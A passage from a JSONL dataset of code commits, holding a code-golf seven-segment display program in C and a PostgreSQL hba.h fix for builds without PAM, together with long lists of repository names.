L\/bitcoin,globaltoken\/globaltoken,Chancoin-core\/CHANCOIN,magacoin\/magacoin,litecoin-project\/bitcoinomg,ludbb\/bitcoin,reddink\/reddcoin,shaolinfry\/litecoin,fujicoin\/fujicoin,romanornr\/viacoin,Bloom-Project\/Bloom,NateBrune\/bitcoin-fio,core-bitcoin\/bitcoin,jimmysong\/bitcoin,robvanbentem\/bitcoin,funkshelper\/woodcoin-b,domob1812\/huntercore,Rav3nPL\/doubloons-0.10,FeatherCoin\/Feathercoin,JeremyRand\/namecoin-core,diggcoin\/diggcoin,Rav3nPL\/PLNcoin,ahmedbodi\/test2,earonesty\/bitcoin,40thoughts\/Coin-QualCoin,loxal\/zcash,segsignal\/bitcoin,mb300sd\/bitcoin,ElementsProject\/elements,habibmasuro\/bitcoinxt,nlgcoin\/guldencoin-official,gameunits\/gameunits,instagibbs\/bitcoin,projectinterzone\/ITZ,scmorse\/bitcoin,NunoEdgarGub1\/elements,TGDiamond\/Diamond,SartoNess\/BitcoinUnlimited,Bitcoinsulting\/bitcoinxt,BTCfork\/hardfork_prototype_1_mvf-core,goldcoin\/Goldcoin-GLD,cheehieu\/bitcoin,dgenr8\/bitcoinxt,hyperwang\/bitcoin,slingcoin\/sling-market,romanornr\/viacoin,tjth\/lotterycoin,cddjr\/BitcoinUnlimited,1185\/starwels,JeremyRand\/bitcoin,bcpki\/nonce2,ryanxcharles\/bitcoin,cmgustavo\/bitcoin,Anoncoin\/anoncoin,GlobalBoost\/GlobalBoost,apoelstra\/bitcoin,DGCDev\/argentum,marklai9999\/Taiwancoin,cotner\/bitcoin,111t8e\/bitcoin,qtumproject\/qtum,bespike\/litecoin,MonetaryUnit\/MUE-Src,zsulocal\/bitcoin,bdelzell\/creditcoin-org-creditcoin,ClusterCoin\/ClusterCoin,phelix\/namecore,GIJensen\/bitcoin,braydonf\/bitcoin,dgarage\/bc2,xawksow\/GroestlCoin,KibiCoin\/kibicoin,bcpki\/testblocks,segwit\/atbcoin-insight,GwangJin\/gwangmoney-core,morcos\/bitcoin,Tetpay\/bitcoin,jonasnick\/bitcoin,lbrtcoin\/albertcoin,diggcoin\/diggcoin,axelxod\/braincoin,goku1997\/bitcoin,bankonmecoin\/bitcoin,starwels\/starwels,upgradeadvice\/MUE-Src,arruah\/ensocoin,gavinandresen\/bitcoin-git,GlobalBoost\/GlobalBoost,diggcoin\/diggcoin,fussl\/elements,AdrianaDinca\/bitcoin,OstlerDev\/florincoin,ashleyholman\/bitcoin,ftrader-bitcoinabc\/bitcoin-abc,bitcoinsSG\/zcash,denverl\/bitcoin,aburan28\/elements,BitcoinHardfork\/bitcoin,syscoin\/syscoin,bitpay\/bitcoin,constantine001\/bitcoin,hsavit1\/bitcoin,robvanbentem\/bitcoin,marlengit\/hardfork_prototype_1_mvf-bu,pinheadmz\/bitcoin,imharrywu\/fastcoin,cheehieu\/bitcoin,gandrewstone\/bitcoinxt,Kcoin-project\/kcoin,pascalguru\/florincoin,Bitcoin-ABC\/bitcoin-abc,fujicoin\/fujicoin,bdelzell\/creditcoin-org-creditcoin,sugruedes\/bitcoinxt,reddcoin-project\/reddcoin,Cloudsy\/bitcoin,droark\/bitcoin,gzuser01\/zetacoin-bitcoin,xieta\/mincoin,dgarage\/bc2,vcoin-project\/vcoincore,ahmedbodi\/vertcoin,Vector2000\/bitcoin,willwray\/dash,jtimon\/bitcoin,syscoin\/syscoin2,nvmd\/bitcoin,bespike\/litecoin,dcousens\/bitcoin,adpg211\/bitcoin-master,wangliu\/bitcoin,daliwangi\/bitcoin,zixan\/bitcoin,wbchen99\/bitcoin-hnote0,RongxinZhang\/bitcoinxt,segsignal\/bitcoin,Mrs-X\/PIVX,greencoin-dev\/digitalcoin,GlobalBoost\/GlobalBoost,vmp32k\/litecoin,amaivsimau\/bitcoin,arnuschky\/bitcoin,x-kalux\/bitcoin_WiG-B,UFOCoins\/ufo,dev1972\/Satellitecoin,sipsorcery\/bitcoin,arnuschky\/bitcoin,kfitzgerald\/titcoin,RongxinZhang\/bitcoinxt,xieta\/mincoin,ColossusCoinXT\/ColossusCoinXT,lbryio\/lbrycrd,torresalyssa\/bitcoin,zenywallet\/bitzeny,lclc\/bitcoin,zetacoin\/zetacoin,djpnewton\/bitcoin,coinkeeper\/2015-06-22_18-31_bitcoin,sstone\/bitcoin,bcpki\/nonce2testblocks,octocoin-project\/octocoin,gapcoin\/gapcoin,Gazer022\/bitcoin,KnCMiner\/bitcoin,Electronic-Gulden-Foundation\/egulden,jmgilbert2\/energi,crowning-\/dash,lbryio\/lbrycrd,my-first\/octocoin,tecnovert\/particl-core,isle2983\/bitcoin,torresalyssa\/bitcoin,cybermatatu\/bitcoin,BTCTaras\/bitcoin,pascalguru\/florincoin,goldcoin\/goldcoin,dannyperez\/bolivarcoin,blocktrail\/bitcoin,ptschip\/bitcoinxt,ColossusCoinXT\/ColossusCoinXT,deuscoin\/deuscoin,mikehearn\/bitcoin,thrasher-\/litecoin,ludbb\/bitcoin,sugruedes\/bitcoin,isocolsky\/bitcoinxt,haisee\/dogecoin,jiangyonghang\/bitcoin,fanquake\/bitcoin,gameunits\/gameunits,tecnovert\/particl-core,bitbrazilcoin-project\/bitbrazilcoin,loxal\/zcash,dgenr8\/bitcoin,braydonf\/bitcoin,jmcorgan\/bitcoin,Exceltior\/dogecoin,bankonmecoin\/bitcoin,my-first\/octocoin,keesdewit82\/LasVegasCoin,r8921039\/bitcoin,kevcooper\/bitcoin,sarielsaz\/sarielsaz,Exceltior\/dogecoin,ripper234\/bitcoin,awemany\/BitcoinUnlimited,pouta\/bitcoin,TrainMAnB\/vcoincore,benma\/bitcoin,dan-mi-sun\/bitcoin,andres-root\/bitcoinxt,morcos\/bitcoin,afk11\/bitcoin,Bitcoin-ABC\/bitcoin-abc,thrasher-\/litecoin,imharrywu\/fastcoin,dannyperez\/bolivarcoin,kbccoin\/kbc,zcoinofficial\/zcoin,truthcoin\/truthcoin-cpp,bitcoinsSG\/bitcoin,keo\/bitcoin,BTCGPU\/BTCGPU,zsulocal\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-bu,argentumproject\/argentum,JeremyRand\/namecore,Flurbos\/Flurbo,pstratem\/bitcoin,emc2foundation\/einsteinium,earonesty\/bitcoin,Bushstar\/UFO-Project,lbryio\/lbrycrd,qtumproject\/qtum,butterflypay\/bitcoin,GroestlCoin\/bitcoin,djpnewton\/bitcoin,millennial83\/bitcoin,dmrtsvetkov\/flowercoin,bitcoin-hivemind\/hivemind,collapsedev\/cashwatt,paveljanik\/bitcoin,Bitcoin-com\/BUcash,pinheadmz\/bitcoin,cddjr\/BitcoinUnlimited,NunoEdgarGub1\/elements,vertcoin\/vertcoin,jaromil\/faircoin2,jtimon\/elements,shaulkf\/bitcoin,simdeveloper\/bitcoin,LIMXTEC\/DMDv3,sebrandon1\/bitcoin,yenliangl\/bitcoin,Justaphf\/BitcoinUnlimited,Michagogo\/bitcoin,randy-waterhouse\/bitcoin,pataquets\/namecoin-core,dpayne9000\/Rubixz-Coin,deeponion\/deeponion,Michagogo\/bitcoin,ArgonToken\/ArgonToken,zander\/bitcoinclassic,keo\/bitcoin,jmcorgan\/bitcoin,faircoin\/faircoin,Ziftr\/bitcoin,kbccoin\/kbc,josephbisch\/namecoin-core,domob1812\/i0coin,bitcoinxt\/bitcoinxt,gwillen\/elements,rjshaver\/bitcoin,JeremyRubin\/bitcoin,destenson\/bitcoin--bitcoin,wiggi\/huntercore,xawksow\/GroestlCoin,DigiByte-Team\/digibyte,Horrorcoin\/horrorcoin,atgreen\/bitcoin,lbrtcoin\/albertcoin,UFOCoins\/ufo,randy-waterhouse\/bitcoin,pastday\/bitcoinproject,nikkitan\/bitcoin,jn2840\/bitcoin,Alex-van-der-Peet\/bitcoin,syscoin\/syscoin2,aspanta\/bitcoin,Rav3nPL\/polcoin,hasanatkazmi\/bitcoin,domob1812\/namecore,111t8e\/bitcoin,initaldk\/bitcoin,rat4\/bitcoin,marlengit\/BitcoinUnlimited,ripper234\/bitcoin,aspanta\/bitcoin,stamhe\/bitcoin,projectinterzone\/ITZ,coinkeeper\/2015-06-22_18-52_viacoin,segsignal\/bitcoin,sugruedes\/bitcoinxt,balajinandhu\/bitcoin,neuroidss\/bitcoin,lbrtcoin\/albertcoin,thormuller\/yescoin2,marcusdiaz\/BitcoinUnlimited,joroob\/reddcoin,masterbraz\/dg,yenliangl\/bitcoin,sugruedes\/bitcoin,accraze\/bitcoin,thrasher-\/litecoin,supcoin\/supcoin,coinkeeper\/2015-06-22_18-36_darkcoin,likecoin-dev\/bitcoin,vcoin-project\/vcoincore,DigitalPandacoin\/pandacoin,PIVX-Project\/PIVX,ravenbyron\/phtevencoin,Cloudsy\/bitcoin,Har01d\/bitcoin,morcos\/bitcoin,FinalHashLLC\/namecore,litecoin-project\/litecore-litecoin,fedoracoin-dev\/fedoracoin,argentumproject\/argentum,matlongsi\/micropay,ryanofsky\/bitcoin,truthcoin\/truthcoin-cpp,neuroidss\/bitcoin,ryanofsky\/bitcoin,domob1812\/i0coin,gmaxwell\/bitcoin,sipa\/bitcoin,cdecker\/bitcoin,nsacoin\/nsacoin,Earlz\/renamedcoin,haraldh\/bitcoin,omefire\/bitcoin,jrick\/bitcoin,Anoncoin\/anoncoin,jimmysong\/bitcoin,atgreen\/bitcoin,nathan-at-least\/zcash,jimmykiselak\/lbrycrd,joulecoin\/joulecoin,mb300sd\/bitcoin,vlajos\/bitcoin,vtafaucet\/virtacoin,ftrader-bitcoinabc\/bitcoin-abc,thrasher-\/litecoin,AkioNak\/bitcoin,kallewoof\/bitcoin,vtafaucet\/virtacoin,lakepay\/lake,MarcoFalke\/bitcoin,sbellem\/bitcoin,world-bank\/unpay-core,oleganza\/bitcoin-duo,crowning2\/dash,CoinProjects\/AmsterdamCoin-v4,parvez3019\/bitcoin,thesoftwarejedi\/bitcoin,NunoEdgarGub1\/elements,JeremyRand\/namecoin-core,Kangmo\/bitcoin,midnightmagic\/bitcoin,kirkalx\/bitcoin,Bitcoin-ABC\/bitcoin-abc,sstone\/bitcoin,zsulocal\/bitcoin,nbenoit\/bitcoin,greenaddress\/bitcoin,blood2\/bloodcoin-0.9,gravio-net\/graviocoin,AkioNak\/bitcoin,CTRoundTable\/Encrypted.Cash,ShwoognationHQ\/bitcoin,cybermatatu\/bitcoin,afk11\/bitcoin,ericshawlinux\/bitcoin,magacoin\/magacoin,constantine001\/bitcoin,jakeva\/bitcoin-pwcheck,djpnewton\/bitcoin,NunoEdgarGub1\/elements,TeamBitBean\/bitcoin-core,ajweiss\/bitcoin,PandaPayProject\/PandaPay,ravenbyron\/phtevencoin,bitcoinec\/bitcoinec,funbucks\/notbitcoinxt,UdjinM6\/dash,2XL\/bitcoin,mruddy\/bitcoin,DigiByte-Team\/digibyte,czr5014iph\/bitcoin4e,ajtowns\/bitcoin,MazaCoin\/maza,droark\/elements,aspanta\/bitcoin,gandrewstone\/BitcoinUnlimited,jlopp\/statoshi,plncoin\/PLNcoin_Core,SartoNess\/BitcoinUnlimited,namecoin\/namecoin-core,steakknife\/bitcoin-qt,capitalDIGI\/DIGI-v-0-10-4,MarcoFalke\/bitcoin,Bloom-Project\/Bloom,krzysztofwos\/BitcoinUnlimited,mobicoins\/mobicoin-core,phelix\/namecore,morcos\/bitcoin,ahmedbodi\/test2,GIJensen\/bitcoin,pinheadmz\/bitcoin,jrmithdobbs\/bitcoin,blocktrail\/bitcoin,m0gliE\/fastcoin-cli,OmniLayer\/omnicore,nikkitan\/bitcoin,sbaks0820\/bitcoin,czr5014iph\/bitcoin4e,paveljanik\/bitcoin,174high\/bitcoin,instagibbs\/bitcoin,drwasho\/bitcoinxt,funbucks\/notbitcoinxt,hsavit1\/bitcoin,freelion93\/mtucicoin,GroestlCoin\/GroestlCoin,gzuser01\/zetacoin-bitcoin,nigeriacoin\/nigeriacoin,GreenParhelia\/bitcoin,gandrewstone\/bitcoinxt,elecoin\/elecoin,yenliangl\/bitcoin,fujicoin\/fujicoin,afk11\/bitcoin,laudaa\/bitcoin,cyrixhero\/bitcoin,jarymoth\/dogecoin,funbucks\/notbitcoinxt,cddjr\/BitcoinUnlimited,btcdrak\/bitcoin,TripleSpeeder\/bitcoin,braydonf\/bitcoin,emc2foundation\/einsteinium,xieta\/mincoin,SoreGums\/bitcoinxt,pataquets\/namecoin-core,joshrabinowitz\/bitcoin,NateBrune\/bitcoin-nate,cerebrus29301\/crowncoin,apoelstra\/bitcoin,okinc\/bitcoin,marklai9999\/Taiwancoin,cculianu\/bitcoin-abc,domob1812\/i0coin,zottejos\/merelcoin,axelxod\/braincoin,sirk390\/bitcoin,MikeAmy\/bitcoin,drwasho\/bitcoinxt,namecoin\/namecoin-core,martindale\/elements,jamesob\/bitcoin,DGCDev\/argentum,Rav3nPL\/bitcoin,parvez3019\/bitcoin,petertodd\/bitcoin,BigBlueCeiling\/augmentacoin,vericoin\/vericoin-core,PIVX-Project\/PIVX,parvez3019\/bitcoin,kfitzgerald\/titcoin,cqtenq\/feathercoin_core,wbchen99\/bitcoin-hnote0,iQcoin\/iQcoin,BTCfork\/hardfork_prototype_1_mvf-core,unsystemizer\/bitcoin,ivansib\/sibcoin,okinc\/bitcoin,bcpki\/nonce2testblocks,projectinterzone\/ITZ,mrbandrews\/bitcoin,maaku\/bitcoin,Electronic-Gulden-Foundation\/egulden,gmaxwell\/bitcoin,MarcoFalke\/bitcoin,kallewoof\/elements,BitzenyCoreDevelopers\/bitzeny,mapineda\/litecoin,DigiByte-Team\/digibyte,nightlydash\/darkcoin,lbrtcoin\/albertcoin,untrustbank\/litecoin,BigBlueCeiling\/augmentacoin,vmp32k\/litecoin,randy-waterhouse\/bitcoin,Christewart\/bitcoin,jl2012\/litecoin,putinclassic\/putic,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,superjudge\/bitcoin,jameshilliard\/bitcoin,Bloom-Project\/Bloom,Kenwhite23\/litecoin,capitalDIGI\/DIGI-v-0-10-4,mikehearn\/bitcoin,TBoehm\/greedynode,initaldk\/bitcoin,millennial83\/bitcoin,awemany\/BitcoinUnlimited,schinzelh\/dash,rustyrussell\/bitcoin,jmcorgan\/bitcoin,aburan28\/elements,isocolsky\/bitcoinxt,ctwiz\/stardust,bitpay\/bitcoin,superjudge\/bitcoin,BigBlueCeiling\/augmentacoin,dev1972\/Satellitecoin,MasterX1582\/bitcoin-becoin,ElementsProject\/elements,tedlz123\/Bitcoin,knolza\/gamblr,fussl\/elements,NateBrune\/bitcoin-fio,shomeser\/bitcoin,lbrtcoin\/albertcoin,imharrywu\/fastcoin,yenliangl\/bitcoin,ardsu\/bitcoin,bcpki\/nonce2,mitchellcash\/bitcoin,shaulkf\/bitcoin,rdqw\/sscoin,MeshCollider\/bitcoin,arruah\/ensocoin,domob1812\/bitcoin,afk11\/bitcoin,cmgustavo\/bitcoin,keo\/bitcoin,ftrader-bitcoinabc\/bitcoin-abc,genavarov\/lamacoin,FinalHashLLC\/namecore,argentumproject\/argentum,gwillen\/elements,MazaCoin\/mazacoin-new,DigitalPandacoin\/pandacoin,florincoin\/florincoin,MikeAmy\/bitcoin,mincoin-project\/mincoin,sipa\/elements,tdudz\/elements,grumpydevelop\/singularity,schildbach\/bitcoin,tmagik\/catcoin,bitcoinec\/bitcoinec,krzysztofwos\/BitcoinUnlimited,bitjson\/hivemind,domob1812\/huntercore,coinwarp\/dogecoin,accraze\/bitcoin,uphold\/bitcoin,sickpig\/BitcoinUnlimited,zsulocal\/bitcoin,BlockchainTechLLC\/3dcoin,faircoin\/faircoin2,Alonzo-Coeus\/bitcoin,StarbuckBG\/BTCGPU,aburan28\/elements,jambolo\/bitcoin,wederw\/bitcoin,dscotese\/bitcoin,faircoin\/faircoin,jtimon\/bitcoin,ShadowMyst\/creativechain-core,aniemerg\/zcash,StarbuckBG\/BTCGPU,Har01d\/bitcoin,phelix\/namecore,jiangyonghang\/bitcoin,irvingruan\/bitcoin,habibmasuro\/bitcoinxt,RyanLucchese\/energi,DSPay\/DSPay,BlockchainTechLLC\/3dcoin,hasanatkazmi\/bitcoin,deadalnix\/bitcoin,btc1\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-bu,likecoin-dev\/bitcoin,sarielsaz\/sarielsaz,shelvenzhou\/BTCGPU,ctwiz\/stardust,CryptArc\/bitcoinxt,Theshadow4all\/ShadowCoin,aciddude\/Feathercoin,jrick\/bitcoin,StarbuckBG\/BTCGPU,ryanxcharles\/bitcoin,patricklodder\/dogecoin,Mirobit\/bitcoin,DynamicCoinOrg\/DMC,bitcoinknots\/bitcoin,aciddude\/Feathercoin,dexX7\/bitcoin,gravio-net\/graviocoin,jarymoth\/dogecoin,npccoin\/npccoin,koharjidan\/dogecoin,dev1972\/Satellitecoin,dgarage\/bc2,practicalswift\/bitcoin,simonmulser\/bitcoin,LIMXTEC\/DMDv3,Earlz\/renamedcoin,jakeva\/bitcoin-pwcheck,wangliu\/bitcoin,AdrianaDinca\/bitcoin,zetacoin\/zetacoin,truthcoin\/blocksize-market,puticcoin\/putic,lateminer\/bitcoin,droark\/elements,sstone\/bitcoin,jimmykiselak\/lbrycrd,fullcoins\/fullcoin,jl2012\/litecoin,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,mincoin-project\/mincoin,Chancoin-core\/CHANCOIN,Alex-van-der-Peet\/bitcoin,mikehearn\/bitcoin,haisee\/dogecoin,nathaniel-mahieu\/bitcoin,OstlerDev\/florincoin,Friedbaumer\/litecoin,mm-s\/bitcoin,kleetus\/bitcoinxt,andres-root\/bitcoinxt,multicoins\/marycoin,hyperwang\/bitcoin,arruah\/ensocoin,isghe\/bitcoinxt,ionomy\/ion,rjshaver\/bitcoin,botland\/bitcoin,koharjidan\/bitcoin,Kogser\/bitcoin,coinkeeper\/2015-06-22_19-07_digitalcoin,rsdevgun16e\/energi,rdqw\/sscoin,OmniLayer\/omnicore,r8921039\/bitcoin,EthanHeilman\/bitcoin,DogTagRecon\/Still-Leraning,wcwu\/bitcoin,FarhanHaque\/bitcoin,koharjidan\/bitcoin,bickojima\/bitzeny,40thoughts\/Coin-QualCoin,pastday\/bitcoinproject,roques\/bitcoin,vtafaucet\/virtacoin,gwillen\/elements,andreaskern\/bitcoin,millennial83\/bitcoin,RyanLucchese\/energi,czr5014iph\/bitcoin4e,axelxod\/braincoin,GreenParhelia\/bitcoin,syscoin\/syscoin2,argentumproject\/argentum,tjps\/bitcoin,domob1812\/namecore,svost\/bitcoin,lclc\/bitcoin,bitcoinclassic\/bitcoinclassic,nvmd\/bitcoin,ahmedbodi\/terracoin,pastday\/bitcoinproject,putinclassic\/putic,rebroad\/bitcoin,ionomy\/ion,Alonzo-Coeus\/bitcoin,nlgcoin\/guldencoin-official,n1bor\/bitcoin,genavarov\/ladacoin,butterflypay\/bitcoin,CoinProjects\/AmsterdamCoin-v4,bdelzell\/creditcoin-org-creditcoin,Vector2000\/bitcoin,supcoin\/supcoin,projectinterzone\/ITZ,Lucky7Studio\/bitcoin,phelix\/namecore,benosa\/bitcoin,mikehearn\/bitcoin,prusnak\/bitcoin,daliwangi\/bitcoin,bitcoinxt\/bitcoinxt,argentumproject\/argentum,alejandromgk\/Lunar,laudaa\/bitcoin,ardsu\/bitcoin,dscotese\/bitcoin,haobtc\/bitcoin,sdaftuar\/bitcoin,iQcoin\/iQcoin,odemolliens\/bitcoinxt,peercoin\/peercoin,deeponion\/deeponion,Xekyo\/bitcoin,Justaphf\/BitcoinUnlimited,qtumproject\/qtum,jl2012\/litecoin,Theshadow4all\/ShadowCoin,nbenoit\/bitcoin,cqtenq\/feathercoin_core,andreaskern\/bitcoin,Flurbos\/Flurbo,cannabiscoindev\/cannabiscoin420,EntropyFactory\/creativechain-core,rjshaver\/bitcoin,rsdevgun16e\/energi,thelazier\/dash,nikkitan\/bitcoin,particl\/particl-core,namecoin\/namecoin-core,cerebrus29301\/crowncoin,nlgcoin\/guldencoin-official,wcwu\/bitcoin,deeponion\/deeponion,kleetus\/bitcoin,wellenreiter01\/Feathercoin,cyrixhero\/bitcoin,x-kalux\/bitcoin_WiG-B,cybermatatu\/bitcoin,yenliangl\/bitcoin,sipa\/bitcoin,mm-s\/bitcoin,laudaa\/bitcoin,rebroad\/bitcoin,brandonrobertz\/namecoin-core,goku1997\/bitcoin,imharrywu\/fastcoin,vertcoin\/vertcoin,rdqw\/sscoin,Exgibichi\/statusquo,mastercoin-MSC\/mastercore,oleganza\/bitcoin-duo,40thoughts\/Coin-QualCoin,reorder\/viacoin,dperel\/bitcoin,ryanofsky\/bitcoin,joroob\/reddcoin,adpg211\/bitcoin-master,jonasschnelli\/bitcoin,rebroad\/bitcoin,spiritlinxl\/BTCGPU,ahmedbodi\/terracoin,MeshCollider\/bitcoin,senadmd\/coinmarketwatch,lateminer\/bitcoin,gzuser01\/zetacoin-bitcoin,masterbraz\/dg,DigiByte-Team\/digibyte,domob1812\/namecore,Petr-Economissa\/gvidon,kevcooper\/bitcoin,kallewoof\/bitcoin,truthcoin\/truthcoin-cpp,axelxod\/braincoin,bitbrazilcoin-project\/bitbrazilcoin,KibiCoin\/kibicoin,nomnombtc\/bitcoin,slingcoin\/sling-market,roques\/bitcoin,Petr-Economissa\/gvidon,dgarage\/bc3,lateminer\/bitcoin,Kore-Core\/kore,Mrs-X\/Darknet,multicoins\/marycoin,s-matthew-english\/bitcoin,BTCTaras\/bitcoin,tjps\/bitcoin,nlgcoin\/guldencoin-official,maaku\/bitcoin,oleganza\/bitcoin-duo,jnewbery\/bitcoin,world-bank\/unpay-core,faircoin\/faircoin,welshjf\/bitcoin,jambolo\/bitcoin,mastercoin-MSC\/mastercore,phplaboratory\/psiacoin,thesoftwarejedi\/bitcoin,psionin\/smartcoin,dexX7\/mastercore,bitcoinplusorg\/xbcwalletsource,Krellan\/bitcoin,tropa\/axecoin,gmaxwell\/bitcoin,inkvisit\/sarmacoins,DynamicCoinOrg\/DMC,bitreserve\/bitcoin,bdelzell\/creditcoin-org-creditcoin,josephbisch\/namecoin-core,Cloudsy\/bitcoin,wiggi\/huntercore,alecalve\/bitcoin,inkvisit\/sarmacoins,droark\/bitcoin,sstone\/bitcoin,gazbert\/bitcoin,wbchen99\/bitcoin-hnote0,jonasschnelli\/bitcoin,litecoin-project\/bitcoinomg,apoelstra\/bitcoin,ivansib\/sibcoin,gavinandresen\/bitcoin-git,isle2983\/bitcoin,fujicoin\/fujicoin,wbchen99\/bitcoin-hnote0,florincoin\/florincoin,DigitalPandacoin\/pandacoin,2XL\/bitcoin,inkvisit\/sarmacoins,xawksow\/GroestlCoin,phplaboratory\/psiacoin,OstlerDev\/florincoin,iQcoin\/iQcoin,theuni\/bitcoin,koharjidan\/litecoin,gzuser01\/zetacoin-bitcoin,nigeriacoin\/nigeriacoin,biblepay\/biblepay,mapineda\/litecoin,greenaddress\/bitcoin,CryptArc\/bitcoinxt,StarbuckBG\/BTCGPU,Rav3nPL\/bitcoin,gandrewstone\/bitcoinxt,Anfauglith\/iop-hd,robvanbentem\/bitcoin,HashUnlimited\/Einsteinium-Unlimited,blood2\/bloodcoin-0.9,phplaboratory\/psiacoin,llluiop\/bitcoin,jtimon\/bitcoin,pstratem\/bitcoin,BitcoinHardfork\/bitcoin,plncoin\/PLNcoin_Core,MazaCoin\/mazacoin-new,KnCMiner\/bitcoin,Bitcoin-ABC\/bitcoin-abc,zcoinofficial\/zcoin,mrbandrews\/bitcoin,se3000\/bitcoin,jaromil\/faircoin2,torresalyssa\/bitcoin,denverl\/bitcoin,zotherstupidguy\/bitcoin,ticclassic\/ic,bdelzell\/creditcoin-org-creditcoin,TheBlueMatt\/bitcoin,shelvenzhou\/BTCGPU,karek314\/bitcoin,ahmedbodi\/test2,rromanchuk\/bitcoinxt,TierNolan\/bitcoin,Theshadow4all\/ShadowCoin,EthanHeilman\/bitcoin,karek314\/bitcoin,jtimon\/bitcoin,hophacker\/bitcoin_malleability,daliwangi\/bitcoin,achow101\/bitcoin,Rav3nPL\/doubloons-0.10,midnight-miner\/LasVegasCoin,reorder\/viacoin,UASF\/bitcoin,CodeShark\/bitcoin,ftrader-bitcoinabc\/bitcoin-abc,EthanHeilman\/bitcoin,itmanagerro\/tresting,cmgustavo\/bitcoin,Har01d\/bitcoin,GroestlCoin\/GroestlCoin,gmaxwell\/bitcoin,sarielsaz\/sarielsaz,experiencecoin\/experiencecoin,ekankyesme\/bitcoinxt,coinerd\/krugercoin,PandaPayProject\/PandaPay,Kcoin-project\/kcoin,domob1812\/i0coin,Bitcoin-com\/BUcash"}
{"commit":"0d689b75f51c61e0fd54169a714770a4b8573985","old_file":"7segments.c","new_file":"7segments.c","old_contents":"#define L for(char*c=a[1],y;*c;)printf(\"%c%c%c%c\",(y=\"$ֶ<&\"[*c++-48])&u\/2?33:32,y&u?95:32,y&u\/4?33:32,*c?32:10);u*=8;\nmain(int u,char**a){L;L;L}","new_contents":"#define L for(char*c=a[1],y;*c;)printf(\"%c%c%c \",(y=\"$ֶ<&\"[*c++-48])&u\/2?33:32,y&u?95:32,y&u\/4?33:32);puts(\"\");u*=8;\nmain(int u,char**a){L;L;L}","subject":"Use puts() to save 1 byte.","message":"Use puts() to save 1 byte.\n","lang":"C","license":"mit","repos":"McZonk\/7segements,McZonk\/7segements"}
{"commit":"464f20cf7bef622fcdc77fa636388e9a3e207aca","old_file":"src\/include\/libpq\/hba.h","new_file":"src\/include\/libpq\/hba.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n * hba.h\n *\t  Interface to hba.c\n *\n *\n * $Id: hba.h,v 1.27 2001\/09\/21 20:31:48 tgl Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef HBA_H\n#define HBA_H\n\n#ifndef WIN32\n#include <netinet\/in.h>\n#endif\n\n#define CONF_FILE \"pg_hba.conf\"\n \/* Name of the config file  *\/\n\n#define USERMAP_FILE \"pg_ident.conf\"\n \/* Name of the usermap file *\/\n\n#define OLD_CONF_FILE \"pg_hba\"\n \/* Name of the config file in prior releases of Postgres. *\/\n\n#define IDENT_PORT 113\n \/* Standard TCP port number for Ident service.  Assigned by IANA *\/\n\n#define MAX_AUTH_ARG\t80\t\t\/* Max size of an authentication arg *\/\n\ntypedef enum UserAuth\n{\n\tuaReject,\n\tuaKrb4,\n\tuaKrb5,\n\tuaTrust,\n\tuaIdent,\n\tuaPassword,\n\tuaCrypt,\n\tuaMD5,\n#ifdef USE_PAM\n\tuaPAM\n#endif \/* USE_PAM *\/\n} UserAuth;\n\ntypedef struct Port hbaPort;\n\nextern int hba_getauthmethod(hbaPort *port);\nextern int authident(hbaPort *port);\nextern void load_hba_and_ident(void);\n\n#endif\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * hba.h\n *\t  Interface to hba.c\n *\n *\n * $Id: hba.h,v 1.28 2001\/10\/01 02:26:36 ishii Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef HBA_H\n#define HBA_H\n\n#ifndef WIN32\n#include <netinet\/in.h>\n#endif\n\n#define CONF_FILE \"pg_hba.conf\"\n \/* Name of the config file  *\/\n\n#define USERMAP_FILE \"pg_ident.conf\"\n \/* Name of the usermap file *\/\n\n#define OLD_CONF_FILE \"pg_hba\"\n \/* Name of the config file in prior releases of Postgres. *\/\n\n#define IDENT_PORT 113\n \/* Standard TCP port number for Ident service.  Assigned by IANA *\/\n\n#define MAX_AUTH_ARG\t80\t\t\/* Max size of an authentication arg *\/\n\ntypedef enum UserAuth\n{\n\tuaReject,\n\tuaKrb4,\n\tuaKrb5,\n\tuaTrust,\n\tuaIdent,\n\tuaPassword,\n\tuaCrypt,\n\tuaMD5\n#ifdef USE_PAM\n\t,uaPAM\n#endif \/* USE_PAM *\/\n} UserAuth;\n\ntypedef struct Port hbaPort;\n\nextern int hba_getauthmethod(hbaPort *port);\nextern int authident(hbaPort *port);\nextern void load_hba_and_ident(void);\n\n#endif\n","subject":"Fix a compile error on a platform that does not have PAM.","message":"Fix a compile error on a platform that does not have PAM.\n","lang":"C","license":"apache-2.0","repos":"zaksoup\/gpdb,edespino\/gpdb,oberstet\/postgres-xl,ovr\/postgres-xl,janebeckman\/gpdb,CraigHarris\/gpdb,janebeckman\/gpdb,postmind-net\/postgres-xl,ashwinstar\/gpdb,Quikling\/gpdb,ahachete\/gpdb,rubikloud\/gpdb,cjcjameson\/gpdb,edespino\/gpdb,greenplum-db\/gpdb,royc1\/gpdb,yazun\/postgres-xl,foyzur\/gpdb,xuegang\/gpdb,royc1\/gpdb,janebeckman\/gpdb,jmcatamney\/gpdb,50wu\/gpdb,chrishajas\/gpdb,greenplum-db\/gpdb,ashwinstar\/gpdb,lintzc\/gpdb,zeroae\/postgres-xl,ahachete\/gpdb,atris\/gpdb,kaknikhil\/gpdb,lpetrov-pivotal\/gpdb,xinzweb\/gpdb,50wu\/gpdb,ahachete\/gpdb,yazun\/postgres-xl,kaknikhil\/gpdb,foyzur\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,snaga\/postgres-xl,50wu\/gpdb,xinzweb\/gpdb,zaksoup\/gpdb,CraigHarris\/gpdb,postmind-net\/postgres-xl,cjcjameson\/gpdb,yuanzhao\/gpdb,lintzc\/gpdb,Quikling\/gpdb,yuanzhao\/gpdb,lpetrov-pivotal\/gpdb,Chibin\/gpdb,rvs\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,jmcatamney\/gpdb,yuanzhao\/gpdb,chrishajas\/gpdb,pavanvd\/postgres-xl,tangp3\/gpdb,Chibin\/gpdb,adam8157\/gpdb,postmind-net\/postgres-xl,rubikloud\/gpdb,lisakowen\/gpdb,janebeckman\/gpdb,CraigHarris\/gpdb,royc1\